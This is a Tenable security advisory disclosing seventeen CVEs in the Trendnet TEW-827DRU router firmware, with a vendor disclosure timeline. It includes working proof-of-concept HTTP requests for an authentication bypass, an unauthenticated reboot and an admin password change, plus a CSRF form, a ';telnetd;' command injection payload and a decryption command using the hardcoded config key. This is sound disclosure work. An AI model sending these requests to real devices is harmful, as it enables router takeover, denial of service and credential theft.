Trendnet AC2600 TEW-827DRU Multiple Vulnerabilities

Critical

← View More Research Advisories

Synopsis

Improper Firewall Rules - CVE-2021-20149

The default iptables ruleset for governing access to services on the device only apply to IPv4. All services running on the devices are accessible via the WAN interface via IPv6 by default.

We have assigned a CVSS vector of AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L to this issue.

Information Disclosure via Setup Wizard - CVE-2021-20150

Authentication can be bypassed and a user may view information as Admin by manually browsing to the setup wizard and forcing it to redirect to the desired page. The following is an example request:

```
POST /apply_sec.cgi HTTP/1.1
Host: 192.168.10.1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:91.0) Gecko/20100101 Firefox/91.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 107
Origin: http://192.168.10.1
Connection: close
Referer: http://192.168.10.1/setup_wizard.asp
Cookie: compact_display_state=false
Upgrade-Insecure-Requests: 1

action=setup_wizard_cancel&html_response_page=client_status.asp&html_response_return_page=client_status.asp
```

During our testing, we were not able to perform actions via this bypass, but it can be used to access pages with sensitive information present, such as passwords, system logs, etc. For example, using this bypass to access the FTP setup page will reveal user accounts and passwords (if configured) in the response text.

We have assigned this issue a CVSS vector of AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N to this issue.

Authentication Bypass due to IP Based Session Handling - CVE-2021-20151

The router's management software manages web sessions based on IP address rather than verifying client cookies/session tokens/etc. This allows an attacker (whether from a different computer, different web browser on the same machine, etc.) to take over an existing session. This does require the attacker to be able to spoof or take over original IP address of the original user's session.

We have assigned this issue a CVSS vector of AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:L to this issue.

Lack of Adequate CSRF Protections - CVE-2021-20165

Most pages lack proper usage of CSRF protections or mitigations. Additionally, pages that do make use of CSRF tokens are trivially bypassable as the server does not appear to validate them properly (i.e. re-using an old token or finding the token thru some other method is possible).

For example, the following proof of concept demonstrates the ability to change an FTP user's (tenable) password to 'sapphire123' by re-using a bogus token.

```
<html>

  <body>

  <script>history.pushState('', '', '/')</script>

    <form action="http://192.168.10.1/apply.cgi" method="POST">

      <input type="hidden" name="ccp&#95;act" value="set" />

      <input type="hidden" name="html&#95;response&#95;return&#95;page" value="ftpserver&#46;asp" />

      <input type="hidden" name="action" value="proftp" />

      <input type="hidden" name="usbapps&#46;config&#46;ftp&#95;admin&#95;pass" value="RL8F6ES&#64;" />

      <input type="hidden" name="usbapps&#46;config&#46;ftp&#95;admin&#95;name" value="admin" />

      <input type="hidden" name="usbapps&#46;config&#46;ftp&#95;enable" value="1" />

      <input type="hidden" name="usbapps&#46;config&#46;auth&#95;enable" value="1" />

      <input type="hidden" name="usbapps&#46;config&#46;accwan&#95;enable" value="0" />

      <input type="hidden" name="usbapps&#46;config&#46;ftp&#95;codepage" value="6" />

      <input type="hidden" name="usbapps&#46;&#64;ftp&#91;0&#93;&#46;username" value="tenable" />

      <input type="hidden" name="usbapps&#46;&#64;ftp&#91;0&#93;&#46;password" value="sapphire123" />

      <input type="hidden" name="usbapps&#46;&#64;ftp&#91;0&#93;&#46;permission" value="15" />
```

```
      <input type="submit" value="Submit request" />

    </form>

  </body>

</html>
```

We have assigned this issue a CVSS vector of AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H.

Lack of Authentication for Bittorrent Functionality - CVE-2021-20152

If enabled, anyone is able to visit and modify settings and files via the Bittorent web client by visiting: http://192.168.10.1:9091/transmission/web/

We have assigned this issue a CVSS vector of AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:N.

Symlink Attack via Bittorrent Functionality - CVE-2021-20153

If enabled, the bittorrent functionality is vulnerable to a symlink attack that could lead to code execution on the device. If an end user inserts a flash drive with a malicious symlink on it that the bittorrent client can write downloads to, then a user is able to download arbitrary files to any desired location on the devices filesystem, which could lead to code execution. Example directories vulnerable to this include "config", "downloads", and "torrents", though it should be noted that "downloads" is the only vector that allows for arbitrary files to be downloaded to arbitrary locations.

For example, the following symlinks will allow downloads to be written to the /root directory instead of to the intended usb device:

```
root@TEW-827DRU:/# ls -al /tmp/ftp_share/usb_A1/
drwxrwxrwx    1 root     root          4096 Sep  2 20:48 .
drwxr-xr-x    3 root     root            60 Sep  2 13:26 ..
lrwxrwxrwx    1 root     root            20 Sep  2 20:46 config -> /root/
lrwxrwxrwx    1 root     root            10 Sep  2 20:49 downloads -> /root/
lrwxrwxrwx    1 root     root            20 Sep  2 20:48 torrents -> /root/
```

It does not appear that FTP or SMB functionality is affected by this issue as those services chroot the mounted directories from the usb drive.

We have assigned this issue a CVSS vector of AV:P/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H.

Lack of HTTPS by Default - CVE-2021-20154

HTTPS is not enabled on the device by default. This results in cleartext transmission of sensitive information such as passwords.

We have assigned this issue a CVSS vector of AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N.

Ability to Modify Internal Device Configuration - CVE-2021-20155

It is possible to backup and restore device configurations via the management web interface. These devices are encrypted using a hardcoded password of "12345678". The following command will decrypt these config files:

`openssl aes-256-cbc -d -base64 -pass pass:12345678 -in TEW-827DRU_config.bin -out out.bin`

These files can be modified, re-encrypted, and uploaded to the server, which allows a user or attacker to modify settings that are otherwise unintended to be modified. This attack, when combined with others described in this report, could lead to code execution on the device.

We have assigned this issue a CVSS vector of AV:N/AC:L/PR:S/UI:N/S:U/C:H/I:H/A:H.

Ability to Install Modified Firmware - CVE-2021-20156

It is possible to manually install firmware that may be malicious in nature as there does not appear to be any signature validation done to determine if it is from a known and trusted source. This includes firmware updates that are done via the automated "check for updates" in the admin interface. If an attacker is able to masquerade as the update server, the device will not verify that the firmware updates downloaded are legitimate.

We have assigned this issue a CVSS vector of AV:N/AC:L/PR:S/UI:N/S:U/C:H/I:H/A:H.

Unauthenticated Denial of Service via Reboot - CVE-2021-20157

It is possible for an unauthenticated, malicious user to force the device to reboot via the following request:

```
POST /apply_sec.cgi HTTP/1.1
Host: 192.168.10.1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:91.0) Gecko/20100101 Firefox/91.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 128
Origin: http://192.168.10.1
Connection: close
Referer: http://192.168.10.1/setup_wizard.asp
Cookie: compact_display_state=false
Upgrade-Insecure-Requests: 1

ccp_act=set&action=tools_admin_elecom&html_response_page=etc/passwd&html_response_return_page=basic_settings.asp&command=restart
```

We have assigned this issue a CVSS vector of AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H.

Unauthenticated Admin Password change - CVE-2021-20158

It is possible for an unauthenticated, malicous actor to force the change of the admin password. The following request demonstrates changing the admin password to "testing123":

```
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 145
Origin: http://192.168.10.1
Connection: close
Referer: http://192.168.10.1/setup_wizard.asp
Cookie: compact_display_state=false
Upgrade-Insecure-Requests: 1

ccp_act=set&action=tools_admin_elecom&html_response_page=dummy_value&html_response_return_page=dummy_value&method=tools&admin_password=testing123
```

It is possible for other parameters to be changed using this method as well, but given that there are easier ways to achieve code execution (such as other examples in this disclosure email), we chose the most severe example.

We have assigned this issue a CVSS of AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H.

Command Injection via Syslog Functionality - CVE-2021-20159

If properly configured (it is by default), syslogd spawns during boot. If a malformed parameter is supplied in the config file and the device is rebooted, syslogd will not spawn as normal.

When visiting the syslog configuration page (adm_syslog.asp), the backend server checks to see if syslogd is running. If it is not, it attempts to run it, which is done by a system() call that accepts user controllable input.

The exploit chain for this vulnerability is as follows: Send a request to corrupt syslog command file and change the cameo.cameo.syslog_server parameter to contain an injected command > reboot device > visit syslog config page to trigger system() call > command is run.

The following request will both corrupt the configuration file and supply the necessary syslog_server parameter for injection. The proof of concept exploit can be easily verified from the device's UART shell, which can show the process listing to verify that the command has been run. Telnetd is used as an example below.

```
POST /apply.cgi HTTP/1.1
Host: 192.168.10.1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:91.0) Gecko/20100101 Firefox/91.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
X-Requested-With: XMLHttpRequest
Content-Length: 363
Origin: http://192.168.10.1
Connection: close
Referer: http://192.168.10.1/adm_syslog.asp
Cookie: compact_display_state=false


ccp_act=set&html_response_return_page=adm_syslog.asp&action=tools_syslog&reboot_type=application&cameo.cameo.syslog_server=1%2F192.168.1.102:1234%3btelnetd%3b&cameo.log.enable=1
```

We have assigned this issue a CVSS of AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H.

Command Injection via Hostname Parameter in Samba Configuration - CVE-2021-20160

When modifying configuration values for the SMB functionality of the device, the following system() is executed and makes use of a user-controllable parameter:

```
system("deluser %s", smb_admin_name);
```

While the retrieval of this variable is done safely with uci_safe_get(), the system() call is still vulnerable to command injection.

We have assigned this issue a CVSS of AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H.

Insufficient UART Protections - CVE-2021-20161

A malicious actor with physical access to the device is able to connect to the UART port via a serial connection. No username or password is required and the user is given a root shell with full control of the device.

We have assigned this issue a CVSS of AV:P/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H.

Improper Username and Password Storage - CVE-2021-20162

Usernames and passwords are stored in plaintext in the config files on the device. For example, /etc/config/cameo contains the admin password in plaintext.

We have assigned this issue a CVSS of AV:N/AC:H/PR:H/UI:N/S:U/C:H/I:N/A:N.

Information Disclosure via ftpserver.asp - CVE-2021-20163

Usernames and passwords for all ftp users are revealed in plaintext on the ftpserver.asp page.

We have assigned this issue a CVSS of AV:N/AC:H/PR:H/UI:N/S:U/C:L/I:N/A:N.

Information Disclosure via samba config page - CVE-2021-20164

Usernames and passwords for all smb users are revealed in plaintext on the smbserver.asp page.

We have assigned this issue a CVSS of AV:N/AC:H/PR:H/UI:N/S:U/C:L/I:N/A:N.

Vulnerable jquery Libraries

Several instances of known vulnerable jquery libraries are in use on the device: jquery 1.3.2.min and 1.3.1.min.

Disclosure Timeline

September 9, 2021 - Tenable requests security contact from vendor.
September 16, 2021 - Tenable makes second contact attempt.
September 23, 2021 - Tenable makes third and final contact attempt. Vendor responds with contact details.
September 27, 2021 - Tenable discloses to vendor.
October 12, 2021 - Tenable requests status update.
October 13, 2021 - Vendor requests clarification on some issues. Tenable provides clarification.
October 19, 2021 - Vendor requests clarification on some issues.
October 21, 2021 - Tenable provides clarification.
November 12, 2021 - Vendor provides status update.

Risk Information

CVE ID: CVE-2021-20149
CVE-2021-20150
CVE-2021-20151
CVE-2021-20152
CVE-2021-20153
CVE-2021-20154
CVE-2021-20155
CVE-2021-20156
CVE-2021-20157
CVE-2021-20158
CVE-2021-20159
CVE-2021-20160
CVE-2021-20161
CVE-2021-20162
CVE-2021-20163
CVE-2021-20164
CVE-2021-20165
Tenable Advisory ID: TRA-2021-54
Credit: Jimi Sebree

CVSSv3 Base / Temporal Score: 9.8 / 9.2
CVSSv3 Vector: AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Affected Products: Trendnet AC2600 TEW-827DRU firmware
Risk Factor: Critical

Advisory Timeline

December 30, 2021 - Initial release.
December 31, 2021 - Removed "remote" from description of a local attack.

Finance
Healthcare
IT/OT
Ransomware
State / Local / Education
US Federal
Vulnerability Management
Zero Trust
→ View all Solutions

CUSTOMER RESOURCES

Resource Library
Community & Support
Customer Education
Tenable Research
Documentation
Trust and Assurance
Nessus Resource Center
Cyber Exposure Fundamentals
System Status

CONNECTIONS

Blog
Contact Us
Careers
Investors
Events
Media